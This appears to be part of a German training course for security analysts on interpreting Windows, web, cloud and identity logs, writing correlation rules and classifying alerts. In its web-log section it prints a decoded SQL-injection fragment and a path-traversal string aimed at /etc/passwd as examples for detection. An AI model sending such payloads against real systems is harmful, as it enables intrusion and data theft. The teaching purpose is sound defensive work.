Das Löschen von Protokollen (1102), Änderungen an der Überwachungsrichtlinie (4719), ein gestoppter Sysmon-Dienst (Sysmon 4) oder das Entfernen eines EDR-Agenten können auf eine Manipulation der Sicherheitsüberwachung hinweisen. Prüfe Wartungsunterlagen zeitnah. Weitere Hinweise sind nicht freigegebene Fernzugriffswerkzeuge, ungewöhnlicher Zugriff auf den Speicher von lsass.exe (Sysmon 10) und schnelle Dateiänderungen mit Erpresserschreiben. Eine hohe CPU- oder GPU-Auslastung kann zu Kryptomining passen, vergleiche aber Arbeitslast und geplante Aufträge; eine kurze Spitze ist ein schwacher Beleg.
Erstelle die Ausführungskette
Um 09:12:04 Uhr UTC startet Outlook Word mit Invoice_8841.docm. Um 09:12:31 Uhr startet Word kodiertes PowerShell. Um 09:12:33 Uhr verbindet sich dieser PowerShell-Prozess mit 198.51.100.23:80; um 09:12:40 Uhr wird upd.exe geschrieben; um 09:13:02 Uhr startet eine geplante Aufgabe die Datei bei der Anmeldung. Verknüpfe die Prozess- und Dateiaufzeichnungen, nicht nur zeitlich nahe Zeitstempel. Die Kette zeigt Zustellung, Ausführung, Download und Persistenz und stützt eine Eskalation. Fehlende Hosttelemetrie muss als sichtbare Lücke in der Dokumentation stehen bleiben.
Wichtige Erkenntnisse
- Nutze Elternprozesse und Befehlszeilen, um die Ausführung zu interpretieren.
- Signierte Systemwerkzeuge können missbraucht werden.
- Dekodiere kodierte Befehle und prüfe Skriptinhalte.
- Prüfe Ziele von Persistenzmechanismen, Ersteller und Änderungseinträge.
- Verbinde Hostereignisse zu einer Zeitleiste und untersuche Manipulationen der Sicherheitsüberwachung.
2.3 Webangriffsversuche und ihre Ergebnisse lesen
Web- und Anwendungsprotokolle zeigen Aktivitäten, die in gewöhnlichen HTTPS-Verbindungen verborgen sind. Zugriffsprotokolle beschreiben Anfragen, Antwortcodes, Größen und Angaben des Clients. Anwendungs- und Datenbank-Auditprotokolle ergänzen, wer auf Daten zugegriffen, Berechtigungen geändert, Abfragen ausgeführt oder Datensätze exportiert hat.
Dekodiere die Anfrage
Prozentkodierung stellt Bytes durch % gefolgt von zwei Hexadezimalziffern dar. Das Fragment id=1%27%20OR%201%3D1--%20 wird zu id=1' OR 1=1-- und deutet auf SQL-Injection hin. Der Pfad ..%2F..%2F..%2Fetc%2Fpasswd wird zu ../../../etc/passwd und deutet auf Directory Traversal hin. Weitere Hinweise sind UNION SELECT, Skript-Tags oder Shell-Trennzeichen gefolgt von Befehlen.
Dekodiere die Schichten der Reihe nach. %252e%252e%252f wird zu %2e%2e%2f und anschließend zu ../. Bewahre sowohl die rohe Anfrage als auch die dekodierte Interpretation auf; wird das Original ersetzt, geht der Beleg dafür verloren, wie die Eingabe gesendet wurde.
Lies die Abfolge rund um die Antwort
| Beobachtung | Nützliche Deutung |
|---|---|
Viele 404-Antworten auf unterschiedliche Pfade | Erkundung oder Forced Browsing |
Wiederholte 401 oder 403 im Zusammenhang mit Authentifizierung | Mögliche Rateversuche oder Zugriffsfehler |
Injection-artige Eingabe gefolgt von 500 | Die Eingabe könnte die Backend-Verarbeitung gestört haben |
200 mit einer deutlich größeren Antwort | Möglicherweise wurden Daten zurückgegeben; prüfe Anwendungsbelege |
Anfragespitze mit 503 und Zeitüberschreitungen | Dienstunterbrechung, deren Ursache analysiert werden muss |
Codes beschreiben die HTTP-Verarbeitung, nicht das gesamte Sicherheitsergebnis. Manche Anwendungen verwenden 200 für Fehlerseiten, und eine WAF kann eine Blockierungsseite mit 200 zurückgeben. Ein Scanner-User-Agent wird vom Client gesteuert. Weder ein vertrauter User-Agent noch eine einzelne blockierte Anfrage klärt die Untersuchung abschließend.
In der durchgearbeiteten Abfolge stellt ein Client in drei Minuten 412 Anfragen, von denen 398 404 zurückgeben. Ein anschließender Injection-Test liefert 500; eine spätere UNION SELECT-Anfrage liefert 200 mit 48.210 Byte gegenüber den üblichen 2.100. Die etwa 23-fache Größensteigerung nach den Tests stützt den Verdacht einer möglichen Datenoffenlegung. Prüfe Datenbankabfragen und Auditereignisse der Anwendung, um festzustellen, was tatsächlich zurückgegeben wurde.
Verbinde Anwendungs- und Hostbelege
Eine Webshell ist ein Skript, mit dem ein Angreifer über Webanfragen Befehle ausführen kann. Ein neues Skript in einem Uploadordner, wiederholte POST-Anfragen von wenigen Clients und Parameter wie cmd= rechtfertigen eine Untersuchung. Ein dazu passender Webserverprozess, der cmd.exe oder /bin/sh startet, liefert einen direkten Hostbeleg für die Ausführung.
Achte auch auf Anwendungsidentitäten: Erfolge nach Fehlversuchen, unerwartete Ursprünge von API-Schlüsseln, Häufungen, die Ratenbegrenzungen erreichen, und ein gewöhnlicher Benutzer, der Tausende Datensätze exportiert, können Kontomissbrauch aufdecken. Diese Muster benötigen aussagekräftige Auditfelder, nicht nur Fehlerprotokolle. Wenn Anfragen und Fehler nach einer Bereitstellung sprunghaft ansteigen, untersuche neben Angriffshypothesen auch die Bereitstellung und die Quellen der Clientanfragen; auch eine fehlerhafte Version oder ein tatsächlicher Anstieg des Datenverkehrs kann Störungen verursachen.
Wichtige Erkenntnisse
- Dekodiere verdächtige Anfragen und bewahre dabei den Rohtext auf.
- Betrachte Status, Antwortgröße und umgebende Aktivität gemeinsam.
- Verknüpfe Webanfragen mit Hostausführung und Datenbankzugriff.
- Erfasse Auditfelder der Anwendung für Benutzer- und API-Aktionen.
3Cloud- und Identitätsaktivitäten nachverfolgen
Änderungen an Cloud-Ressourcen und Identitätsaktivitäten können einen Angreifer aufdecken, bevor eine Hostalarmmeldung erscheint. Lerne, welche Protokolle Ressourcenverwaltung, Datenzugriff und Anmeldungen beschreiben, und verbinde Identitäten mit den Berechtigungen und Zugangsdaten, die sie ändern. Automatisierung erzeugt viele normale Aktivitäten. Vergleiche daher jede Aktion mit der erwarteten Rolle, Herkunft und dem Änderungsverfahren der Identität und verfolge, was nach einem erfolgreichen Zugriff geschah.
3.1 Cloud-Verwaltung und Datennutzung unterscheiden
Cloud-Anbieter schützen ihre Infrastruktur; Kunden müssen die Überwachung ihrer Konten, Identitäten und Ressourcen aktivieren, erfassen und auswerten. Konsolenklicks, Skripte, Befehlszeilenwerkzeuge und Infrastrukturvorlagen verwalten Ressourcen in der Regel über APIs. Ihr Auditprotokoll beantwortet, wer eine Ressource erstellt, geändert oder gelöscht hat. Für Aktivitäten innerhalb einer virtuellen Maschine oder Anwendung braucht man weiterhin Protokolle der Workload.
Wähle die richtige Cloud-Ebene
| Ebene | Aufzeichnungen | Beispiele |
|---|---|---|
| Steuerungsebene | Ressourcen- und Berechtigungsverwaltung | CloudTrail Management, Azure Activity, Google Admin Activity |
| Datenebene | Zugriff auf gespeicherte Daten | CloudTrail Data Events, Google Data Access |
| Netzwerk | Kommunikationsabläufe und Übertragungsmetadaten | VPC- oder Virtual-Network-Flow-Protokolle |
| Workload oder Dienst | Anwendungs- und Plattformaktivität | VM-Protokolle, WAF, Load Balancer, Kubernetes-Auditprotokolle |
Die CloudTrail-Ereignishistorie bietet 90 Tage aufgezeichnete Verwaltungsereignisse pro Region. Eine längere Historie und breitere Abdeckung benötigen eine gezielte Konfiguration; Datenereignisse sind standardmäßig deaktiviert. Google Admin Activity Logs werden immer geschrieben und können nicht deaktiviert werden; Data Access Logs sind außer für BigQuery standardmäßig deaktiviert. Aktiviere eine zweckmäßige Datenzugriffserfassung für sensible Ressourcen und berücksichtige ihr Volumen.
Lies eine Cloud-Aktion Feld für Feld
In CloudTrail ist eventTime in UTC angegeben; eventSource bezeichnet den Dienst; eventName bezeichnet die API-Aktion. userIdentity bezeichnet den Aufrufer, während requestParameters das angeforderte Ziel und die Einstellungen bezeichnet. Lies auch sourceIPAddress, userAgent, awsRegion, responseElements und gegebenenfalls errorCode oder errorMessage.
Prüfe bei einer Konsolenanmeldung ConsoleLogin von signin.amazonaws.com, den Erfolg oder Misserfolg unter responseElements.ConsoleLogin und additionalEventData.MFAUsed. Unterscheide bei einem neuen Schlüssel den Aufrufer von dem in requestParameters.userName genannten Benutzer. Es können unterschiedliche Identitäten sein.
Erkenne zusammenhängende Cloud-Indikatoren
Mit einem gestohlenen Schlüssel wird möglicherweise zuerst GetCallerIdentity aufgerufen und anschließend mit List, Describe und Get eine Auflistung durchgeführt. Wiederholte AccessDenied-Ergebnisse zeigen das Auskundschaften von Berechtigungen, selbst wenn die Zugriffskontrollen standhalten. Neue Zugangsdaten, unerwartete Rollenübernahmen, Root-Nutzung oder Änderungen, die die Ports 22/3389 für 0.0.0.0/0 öffnen, erfordern Kontextprüfungen. Viele große GPU-Instanzen in einer ungenutzten Region können auf Ressourcenmissbrauch hindeuten.
In der durchgearbeiteten Abfolge wechselt ci-deploy von seiner üblichen Buildserver-Adresse und einem SDK-User-Agent zu einer neuen Adresse und CLI. Es listet Ressourcen auf, erstellt einen Schlüssel für admin-backup und ruft dann StopLogging auf. Zusammen deuten diese Aktionen auf Missbrauch von Zugangsdaten, fortgesetzten Zugriff und den Versuch hin, die Überwachung auszuschalten. Eskaliere und prüfe unabhängige Quellen auf spätere Aktivitäten.
Erfasse Daten aus allen relevanten Regionen und Konten. Kurzlebige Ressourcen können vor der Triage verschwinden; verwende stabile Ressourcen-IDs und Tags und leite Hostprotokolle zentral weiter. Eine gemeinsam genutzte Cloud-Adresse allein kann weder einen Mandanten identifizieren noch belegen, dass eine Aktivität zur üblichen Automatisierung der Organisation gehört.
Wichtige Erkenntnisse
- Unterscheide Verwaltungs-, Datenzugriffs-, Netzwerk- und Workload-Protokolle.
- Prüfe die Voreinstellungen der Cloud-Erfassung und die regionale Abdeckung.
- Unterscheide den Aufrufer vom Ziel einer API-Aktion.
- Verbinde Erkundung, Änderungen an Zugangsdaten und Manipulation der Protokollierung.
- Verfolge ephemere Ressourcen anhand stabiler IDs und bewahre ihre Protokolle zentral auf.
3.2 Passwortangriffe und Sitzungsmissbrauch erkennen
Ein Identitätsanbieter authentifiziert Benutzer für viele Anwendungen. Sein Anmeldeprotokoll kann Benutzer, App, Adresse, Gerät, Client, Methode, MFA-Ergebnis, Richtlinienergebnis und Fehlergrund zeigen. Entra trennt interaktive und nicht interaktive Anmeldungen sowie Anmeldungen von Dienstprinzipalen und verwalteten Identitäten. Eine Suche, die auf interaktive Benutzer beschränkt ist, übersieht Anwendungs- und Tokenaktivitäten.
Interpretiere die Windows-Authentifizierung
Domänencontroller zeichnen Kerberos-Ticketaktivitäten (4768, 4769, 4771) und die Validierung von NTLM-Zugangsdaten (4776) auf. Der Computer, auf den zugegriffen wird, zeichnet 4624 für einen Erfolg und 4625 für einen Fehler auf. Ereignis 4740 erfasst eine Kontosperrung.
| Anmeldetyp | Bedeutung |
|---|---|
2 | Interactive |
3 | Network |
4 | Batch |
5 | Service |
7 | Unlock |
10 | RemoteInteractive, einschließlich RDP |
11 | CachedInteractive |
Prüfe bei 4625 sowohl Status als auch SubStatus. 0xC000006A steht für ein falsches Passwort, 0xC0000064 für einen unbekannten Benutzernamen, 0xC0000072 für ein deaktiviertes Konto, 0xC0000234 für ein gesperrtes Konto und 0xC000006F für eine Anmeldung außerhalb der zulässigen Zeiten. Anhand dieser Gründe lässt sich ein Passwortproblem von einem Problem mit einer Richtlinie oder dem Kontostatus unterscheiden.
Gruppiere Ereignisse, um den Angriff aufzudecken
Ein Brute-Force-Angriff unternimmt viele Rateversuche gegen ein Konto. Password Spraying probiert ein oder einige wenige wahrscheinliche Passwörter gegen viele Konten aus und bleibt oft unter den Sperrschwellen pro Konto. Credential Stuffing verwendet durchgesickerte Paare aus Benutzernamen und Passwörtern. Zähle Versuche pro Konto und unterschiedliche Konten pro Quelle und suche dann nach Erfolgen. Angreifer können Versuche auf mehrere Adressen verteilen, sodass keine der beiden Gruppierungen allein eine vollständige Abdeckung bietet.
Beim durchgearbeiteten Password Spraying versucht eine Adresse jeweils einmal, sich mit 46 Benutzernamen anzumelden: 41 Ergebnisse melden ein falsches Passwort und fünf einen unbekannten Benutzer. Eine spätere erfolgreiche Netzwerkanmeldung für m.tanaka von dieser Quelle erhöht die Priorität. Sie deutet nach dem Password Spraying stark auf funktionierende Zugangsdaten hin. Prüfe aber das Authentifizierungspaket und die nachfolgende Aktivität: Typ 3 kann auch gestohlene Hashwerte oder Tickets verwenden.
Prüfe, wie die Sitzung zustande kam
Bei einer unmöglichen Reise werden Entfernung und verstrichene Zeit verglichen. Madrid und Seoul liegen etwa 10.000 km auseinander; in 45 Minuten wären ungefähr 13.300 km/h nötig. Prüfe VPN-Ausgänge, gehostete Desktops, die geografische Zuordnung von Mobilfunkanbietern, Geräte und Sitzungsergebnisse, bevor du über die Ursache entscheidest.
Wiederholt abgelehnte MFA-Push-Anfragen mit anschließender Zustimmung können auf MFA-Ermüdung hindeuten. Eine ungewöhnliche Sitzung, bei der MFA durch ein vorhandenes Token erfüllt wurde, kann auf die erneute Verwendung eines Tokens zurückgehen. Auch ältere Authentifizierungswege ohne MFA und eine neu registrierte MFA-Methode nach einer riskanten Anmeldung verdienen Aufmerksamkeit. Ein abgeschlossener MFA-Schritt allein erklärt diese Wege nicht.
Ein Dienstkonto, das sich interaktiv anmeldet, eine erfolgreiche Anmeldung beim Konto eines ausgeschiedenen Mitarbeiters oder ein neues Gerät zusammen mit einem neuen Standort können auf gestohlenen Zugriff hindeuten. Wiederholte, regelmäßige Fehlversuche von einem internen Gerät passen oft zu einem veralteten gespeicherten Passwort. Verfolge, ob auf Fehlversuche Erfolge und Aktionen folgen, und prüfe sowohl Benutzer- als auch Workload-Identitäten.
Wichtige Erkenntnisse
- Lies Anmeldeergebnis, Methode, Client, Gerät und Richtlinienkontext.
- Nutze Anmeldetypen und Fehlercodes, um den Zugriffsweg zu bestimmen.
- Gruppiere nach Konto und Quelle, um Brute-Force-Angriffe und Password Spraying zu unterscheiden.
- Verfolge erfolgreiche Sitzungen und untersuche Tokenmissbrauch oder MFA-Missbrauch.
- Prüfe den VPN- und Gerätekontext, bevor du Alarmmeldungen zu unmöglichen Reisen interpretierst.
- Beziehe Anwendungsidentitäten und nicht interaktive Anmeldungen ein.
3.3 Prüfen, wer Zugriffe geändert und wer sie erhalten hat
Ein Angreifer, der Zugriff erlangt, kann weitere Zugangsdaten erstellen oder Berechtigungen hinzufügen, um weiter agieren zu können. Änderungen an sensiblen Konten und Rollen sind oft selten genug, um sie genau zu prüfen, insbesondere wenn sie auf eine ungewöhnliche Anmeldung folgen.
Bestimme Akteur, Zielobjekt und Änderung
Lies fünf Angaben: Wer hat gehandelt, welches Konto oder welche Ressource wurde geändert, was wurde wann und von wo aus geändert? Bei einem Kontoänderungsereignis ist das Subjekt der Akteur und das Zielobjekt das betroffene Konto. Vergleiche die Aktion anschließend mit einem genehmigten Antrag und damit, was der Akteur normalerweise verwaltet.
Zu den Windows-Ereignissen gehören 4720 für die Kontoerstellung, 4722 für die Aktivierung, 4724 für einen Versuch, ein Passwort zurückzusetzen, und 4738 für Kontoänderungen. Das Hinzufügen von Mitgliedern erscheint als 4728, 4732 und 4756 für sicherheitsaktivierte globale, lokale und universelle Gruppen. Prüfe sensible Gruppen wie Domänen-Admins, Organisations-Admins, Schema-Admins und lokale Administratoren. Verschachtelte Mitgliedschaften sind wichtig: Auch eine Änderung an einer Gruppe innerhalb einer privilegierten Gruppe kann wirksame Berechtigungen verleihen.
Ereignis 4672 weist bei einer neuen Anmeldung spezielle Berechtigungen zu. Es tritt bei routinemäßigen Administratoraufgaben und Aktivitäten von Systemkonten auf. Frag dich, ob dieses Konto die Berechtigungen haben sollte und ob der Ursprung dieser Anmeldung erwartet wird; würde jedes 4672 als Eskalationsgrund gezählt, entstünden viele irrelevante Meldungen.
Stelle dieselben Fragen für die Cloud
Untersuche in AWS CreateUser, CreateAccessKey, Aktionen zum Anfügen von Richtlinien oder für Inline-Richtlinien und UpdateAssumeRolePolicy. Eine Änderung der Vertrauensrichtlinie kann einem anderen Konto die Übernahme einer Rolle ermöglichen. Lies die tatsächliche Berechtigungs- oder Vertrauensänderung, nicht nur ihren Aktionsnamen.
Entra-Auditereignisse können hinzugefügte Rollen, neue Zugangsdaten für Dienstprinzipale, Anwendungszustimmungen, MFA-Registrierungen und Änderungen am bedingten Zugriff zeigen. Ein geheimer Schlüssel oder ein Zertifikat, das zu einer Anwendungsidentität mit weitreichenden Rechten hinzugefügt wird, kann Zugriff ohne MFA-Anfrage an eine Person erhalten. Eine OAuth-Zustimmung kann einer App dauerhaft Zugriff auf E-Mails oder Dateien geben, selbst nachdem das Passwort eines Benutzers geändert wurde; prüfe die Zustimmung selbst.
Verbinde die Ereignisse rund um eine Berechtigungsänderung
Um 23:40 Uhr UTC fügt das Helpdesk-Konto hd-ops3 svc-backup ohne Ticket zu den Domänen-Admins hinzu. Um 23:31 Uhr hatte sich der Akteur über einen unerwarteten VPN-Ursprung angemeldet; um 23:44 Uhr greift das Zielkonto über RDP auf DC02 zu. Der ungewöhnliche Akteur, die fehlende Genehmigung, der riskante vorherige Zugriff und die sofortige Nutzung des neuen Rechts stützen eine Eskalation.
Zwölf Konten, die um 07:00 Uhr vom Identitätsmanagementdienst erstellt wurden und zur Eintrittsliste passen, ergeben ein anderes Bild. Eine Genehmigung ist ein zu prüfender Beleg, keine Annahme aufgrund des Namens eines Administrators.
Konzentriere die Überwachung auf privilegierte Mitgliedschaften, Rollen mit weitreichenden Rechten, Dienstkonten, Zugangsdaten, Zustimmungen und Änderungen außerhalb der normalen Kanäle. Wer nur die Kontoerstellung überwacht, übersieht einen Angreifer, der ein vorhandenes Konto oder eine Anwendung ändert. Halte Ereigniskennungen, Werte vor und nach der Änderung sowie den Genehmigungsverweis in der Triage-Dokumentation fest, damit die Entscheidung überprüft werden kann.
Wichtige Erkenntnisse
- Unterscheide den Akteur vom geänderten Konto oder der geänderten Ressource.
- Prüfe sensible und verschachtelte Gruppenmitgliedschaften.
- Prüfe neben Konten von Personen auch Anwendungszugangsdaten und Zustimmungen.
- Verbinde die Änderung mit vorherigen Anmeldungen und anschließender Nutzung.
4Normales Verhalten und Ereignismuster in Regeln überführen
Eine Alarmmeldung braucht einen Grund, um aufzufallen. Baselines beschreiben erwartete Aktivitäten eines Benutzers, Hosts oder Dienstes; Korrelation verbindet Ereignisse zu einem aussagekräftigen Muster. Lerne, zur Entität passende Vergleiche auszuwählen, Abweichungen zu messen und Regellogik mit ausdrücklicher Gruppierung und Zeitsteuerung zu erstellen. Kleine Entscheidungen, etwa Konten statt Versuche zu zählen, können darüber bestimmen, ob ein Angriff überhaupt sichtbar wird.
4.1 Abweichungen von einer zweckmäßigen Baseline messen
Eine Baseline beschreibt das normale Verhalten einer Entität über einen Referenzzeitraum. Eine Anomalie ist eine deutliche Abweichung davon. Ungewöhnliche Aktivität braucht eine Erklärung: Sie kann ein Angriff, eine geschäftliche Änderung oder ein Datenproblem sein.
Vergleiche die richtigen Dinge
Eine zweckmäßige Baseline kann Volumen, Zeitmuster, Beziehungen oder Konfiguration beschreiben. Beispiele sind Bytes pro Tag, übliche Arbeitszeiten, normale Ziele, freigegebene Software und offene Ports. Eine Vergleichsgruppen-Baseline vergleicht Personen oder Systeme mit ähnlichen Aufgaben. Das hilft, wenn für eine Entität nur wenige historische Daten vorliegen.
Wähle zuerst die Entität und die Kennzahl. Nutze mehrere Wochen, um wöchentliche Zyklen zu erfassen, und beziehe gegebenenfalls Spitzen zum Monats- oder Quartalsende ein. Entferne bekannte Sicherheitsvorfälle und Ausfälle aus den Trainingsdaten. Vergleiche Montag um 09:00 Uhr mit ähnlichen Zeiträumen an Montagen, nicht mit einem ruhigen Sonntag. Neue Software, organisatorische Änderungen und saisonale Aktivitäten erfordern eine Überprüfung; andernfalls wird gewöhnlicher Wandel zu einem Strom von Anomalien.
Berechne und interpretiere die Abweichung
Der Mittelwert misst die durchschnittliche Höhe, und die Standardabweichung misst die Streuung. Ein z-Wert drückt den Abstand vom Mittelwert in Einheiten der Standardabweichung aus:
Für FS01 haben die ausgehenden Tagesvolumen von zehn Arbeitstagen einen Mittelwert von 4,1 GB und eine Stichprobenstandardabweichung von etwa 0,26 GB. Ein Schwellenwert von drei Standardabweichungen liegt bei Verwendung der ungerundeten Streuung bei etwa 4,87 GB. Die heutigen 9,6 GB haben einen z-Wert von ungefähr 21. Die nächsten Suchen sollten Ziel, Prozess oder Konto und geplante Arbeiten klären; der statistische Wert allein kann keine Ursache liefern.
Mittelwert plus drei Standardabweichungen ist ein Ausgangsansatz für annähernd glockenförmige Verteilungen. Sicherheitsvolumen sind oft schief verteilt: Es gibt viele kleine und einzelne sehr große Beobachtungen. Mediane und Perzentile können nützlichere Vergleiche ermöglichen. Ein Schwellenwert oberhalb des historischen 99. Perzentils erkennt eine ungewöhnlich große Beobachtung, ohne eine glockenförmige Verteilung vorauszusetzen. Er hängt weiterhin von einem repräsentativen Referenzzeitraum ab.
Kombiniere schwache Signale pro Entität
Die Analyse des Benutzer- und Entitätsverhaltens, kurz UEBA, erstellt Verhaltensprofile, oft mithilfe von maschinellem Lernen und Vergleichsgruppen. Risikobasierte Alarmierung addiert Werte für dieselbe Entität über einen Zeitraum. Eine Anmeldung aus einem neuen Land mit 40 Punkten, die erste Nutzung eines Administrationswerkzeugs mit 30 und ein großer Download mit 45 ergeben innerhalb von 24 Stunden zusammen 115. Bei einem Schwellenwert von 100 ergibt die kombinierte Alarmmeldung ein aussagekräftigeres Bild als drei separate schwache Meldungen.
Die Identität und das Zeitfenster sind entscheidend. Würden die Werte nicht zusammengehöriger Benutzer addiert, entstünde ein anderes und irreführendes Ergebnis. Werte ordnen Belege ein; sie sind keine Wahrscheinlichkeiten, sofern das System sie nicht ausdrücklich so definiert.
Eine vergiftete Baseline kann Angreiferverhalten als normal lernen. Auch langsame, unauffällige Aktivität kann unter einem Volumenschwellenwert bleiben, etwa wenn zusätzlich zu den üblichen 4 GB täglicher Übertragung eines Servers 200 MB anfallen. Kombiniere Anomalielogik mit Regeln für bekanntes Verhalten und Statusprüfungen der Datenquellen und bewerte Schwellenwerte neu, wenn sich normale Aktivitäten ändern.
Wichtige Erkenntnisse
- Wähle eine Entität, eine Kennzahl, einen repräsentativen Zeitraum und relevante Vergleichsgruppen.
- Vergleiche entsprechende Geschäftszyklen und entferne bekanntermaßen fehlerhafte Referenzdaten.
- Verwende z-Werte nur bei einer aussagekräftigen Streuung und Verteilung.
- Ziehe bei schief verteilten Kennzahlen Mediane und Perzentile in Betracht.
- Addiere Risikowerte für dieselbe Entität innerhalb eines festgelegten Zeitraums.
4.2 Festlegen, was eine Korrelationsregel verknüpfen muss
Ein Security Information and Event Management-System (SIEM) erfasst, parst, normalisiert, speichert und durchsucht Ereignisse und wendet anschließend Regeln oder Analysen an, um Alarmmeldungen auszulösen. Korrelation verknüpft Ereignisse, die innerhalb einer Zeitspanne eine Identität, einen Host, eine Adresse, eine Sitzung oder ein anderes Merkmal gemeinsam haben. SOAR-Werkzeuge können die Bearbeitung der entstehenden Alarmmeldungen automatisieren.
Formuliere die Bestandteile der Regel
Jede Regel benötigt einen Filter, einen Gruppierungsschlüssel, ein Zeitfenster, eine Aggregation, eine Bedingung und eine Alarmausgabe. Lege jeden Bestandteil fest, bevor du eine produktspezifische Syntax wählst.
| Regeltyp | Muster |
|---|---|
| Einzelereignis | Einmaliges Löschen eines Auditprotokolls |
| Schwellenwert | Mindestens 10 Fehlversuche pro Konto in 5 Minuten |
| Anzahl unterschiedlicher Werte | Mindestens 20 verschiedene Konten pro Quelle in 10 Minuten |
| Sequenz | Fehlversuche gefolgt von einem Erfolg |
| Quellenübergreifend | Zusammengehörige Identitäts- oder Hostereignisse aus verschiedenen Quellen |
| Abwesenheit | Erwarteter Heartbeat fehlt |
| Statistisch | Abweichung von einer Baseline |
Der Gruppierungsschlüssel bestimmt, was die Regel erkennen kann. Zählungen pro Konto zeigen konzentrierte Rateversuche. Unterschiedliche Benutzer pro Quelle zeigen Password Spraying von einer einzelnen Quelle. Unterschiedliche Quellen pro Konto zeigen verteilte Angriffe auf dieses Konto. Verteiltes Password Spraying über verschiedene Konten und Adressen hinweg kann unter all diesen Schwellenwerten bleiben; untersuche gemeinsame Zielanwendungen, Zeitmuster, Clientmerkmale oder Änderungen der gesamten Fehlversuchsrate.
Bearbeite eine Sequenz
Wähle zunächst fehlgeschlagene Authentifizierungen, gruppiert nach user.name und source.ip, mit mindestens 10 Fehlversuchen innerhalb von 5 Minuten. Verlange dann einen Erfolg für denselben Benutzer und dieselbe Quelle innerhalb der folgenden 10 Minuten. Zwölf Fehlversuche von jdoe aus 198.51.100.20 zwischen 10:03:10 und 10:06:40 Uhr, gefolgt von einem Erfolg um 10:07:05 Uhr, erfüllen beide Stufen. Ein Erfolg für einen anderen Benutzer darf die Sequenz nicht abschließen.
Sigma kann Korrelationen über Basisregeln mit type, rules, group-by, timespan und condition ausdrücken. Zu den Typen gehören event_count, value_count, temporal und temporal_ordered. Eine Ereigniszählkorrelation über einer Regel für fehlgeschlagene Anmeldungen kann nach TargetUserName gruppieren, 5m verwenden und gte: 10 verlangen. Die Umwandlung für ein Backend benötigt weiterhin korrekte Feldzuordnungen und unterstützte Semantik.
Passe die Zeitsteuerung an das beabsichtigte Muster an
Feste Zeitfenster teilen die Zeit in Blöcke. Sechs Fehlversuche in 10:00–10:05 Uhr und vier in 10:05–10:10 Uhr erreichen in keinem Block zehn. Ein gleitendes Fünf-Minuten-Fenster kann alle zehn erfassen, wenn die Häufung hineinpasst. Längere Fenster können langsamere Angriffe erfassen und benötigen mehr Rechenleistung. Die Verzögerung der Alarmmeldung hängt von der Ausführungshäufigkeit, der Erfassungsverzögerung und davon ab, ob die Auswertung auf das Ende eines Fensters wartet.
Verwende den Ereigniszeitpunkt und berücksichtige verspätete Eingänge mit geeigneter Verzögerung oder einem geeigneten Rückblick. Normalisiere quellenübergreifende Felder, behebe Uhrenprobleme und entferne wiederholte Zustellungen anhand der Ereignisidentität vor dem Zählen. Auch überlappende Regelläufe benötigen eine Gruppierung der Alarmmeldungen, damit dieselbe Häufung die Warteschlange nicht überflutet.
Die Alarmmeldung sollte Regelzweck, Benutzer oder Host, Adressen, Anzahlen, erste und letzte Zeitpunkte, Schweregrad, Links zu Rohereignissen und Triage-Hinweise enthalten. Prüfe benötigte Daten und lokale Volumen vor der Bereitstellung: Korrelation kann kein Ereignis rekonstruieren, das die Quelle nie aufgezeichnet hat.
Wichtige Erkenntnisse
- Lege Filter, Schlüssel, Zeitfenster, Aggregation, Bedingung und Ausgabe fest.
- Wähle eine Gruppierung, die zum Angriffsmuster passt.
- Verlange in Sequenzregeln dieselben Entitäten und die richtige Reihenfolge.
- Berücksichtige Zeitfenstergrenzen, verspätete Daten und doppelte Zustellungen.
- Gib Analysten die Belege und den Kontext, die sie für die Triage des Treffers benötigen.
- Teste verteilte Muster über Konten und Quelladressen hinweg.
5Eine Entscheidung zu einer Alarmmeldung treffen und dokumentieren
Die Triage führt von einer Alarmmeldung zu einer begründeten nächsten Maßnahme. Lerne, den Treffer einer Regel vom Nutzen der Alarmmeldung zu unterscheiden, Aufgaben nach Risiko und Dringlichkeit auszuwählen und einem wiederholbaren Ablauf durch Rohereignisse, Kontext und verwandte Aktivitäten zu folgen. Gezielte Abfragen und sorgfältige Dekodierung helfen bei der unmittelbaren Frage. Klare Notizen ermöglichen anderen Analysten, die Entscheidung zu verstehen, und dem Reaktionsteam, bei einer Eskalation zu übernehmen.
5.1 Ergebnisse klassifizieren und die Qualität von Alarmmeldungen messen
Eine Alarmmeldung kann technisch korrekt sein, ohne dass ein Sicherheitsvorfall behandelt werden muss. Verwende einheitliche Ergebnisbezeichnungen, damit Abschlussdokumentationen helfen, Erkennungsregeln zu verbessern, statt die Gründe für das Schließen von Alarmmeldungen zu verbergen.
Unterscheide das Verhalten von seiner Bedeutung
| Ergebnis | Bedeutung |
|---|---|
| Richtig positives Ergebnis | Tatsächliche bösartige Aktivität wurde erkannt |
| Gutartiges richtig positives Ergebnis | Das angegebene Verhalten trat auf und war autorisiert |
| Falsch positives Ergebnis | Die Regel erkannte das gesuchte Verhalten fälschlich |
| Falsch negatives Ergebnis | Tatsächliche bösartige Aktivität wurde übersehen |
| Richtig negatives Ergebnis | Harmlose Aktivität erzeugte korrekterweise keine Alarmmeldung |
Ein autorisierter Schwachstellenscanner scannt tatsächlich. Erkennt eine Scanregel ihn, ist das ein gutartiges richtig positives Ergebnis. Ein Parserfehler, durch den normaler Datenverkehr wie ein Scan erscheint, ist ein falsch positives Ergebnis. Verschiedene Teams verwenden Bezeichnungen unterschiedlich; für den Betrieb sind eine einheitliche Definition und ein dokumentierter Grund entscheidend.
Die Genauigkeit der Verhaltensübereinstimmung fragt, ob das beschriebene Verhalten aufgetreten ist. Die Präzision der Alarmmeldungen fragt hier, welcher Anteil aller Alarmmeldungen als bösartig bestätigt wurde. Ihr Nenner umfasst falsch positive und gutartige richtig positive Ergebnisse:
Sechs bösartige Alarmmeldungen unter insgesamt 200 ergeben 3 % Präzision. Wenn viele korrekte, aber autorisierte Treffer auf den Scanner zurückgehen, kann die Genauigkeit der Verhaltensübereinstimmung gut sein, während die Präzision der Alarmmeldungen niedrig ist. Das spricht dafür, den operativen Geltungsbereich der Regel zu ändern, statt ihre Beobachtungen als falsch auszugeben.
Berücksichtige, was übersehen wurde
Die Sensitivität misst den Anteil der tatsächlich bösartigen Aktivitäten, die erkannt wurden:
Übersehene Fälle können durch Sicherheitsvorfälle, Threat Hunting, Red-Team-Arbeit oder kontrollierte Tests bekannt werden. Ohne solche Belege sagt eine ruhige Warteschlange wenig über die Sensitivität aus. Ein höherer Schwellenwert kann irrelevante Alarmmeldungen beseitigen und dabei langsamere Angriffe übersehen. Bewerte daher sowohl erkanntes als auch übersehenes Verhalten.
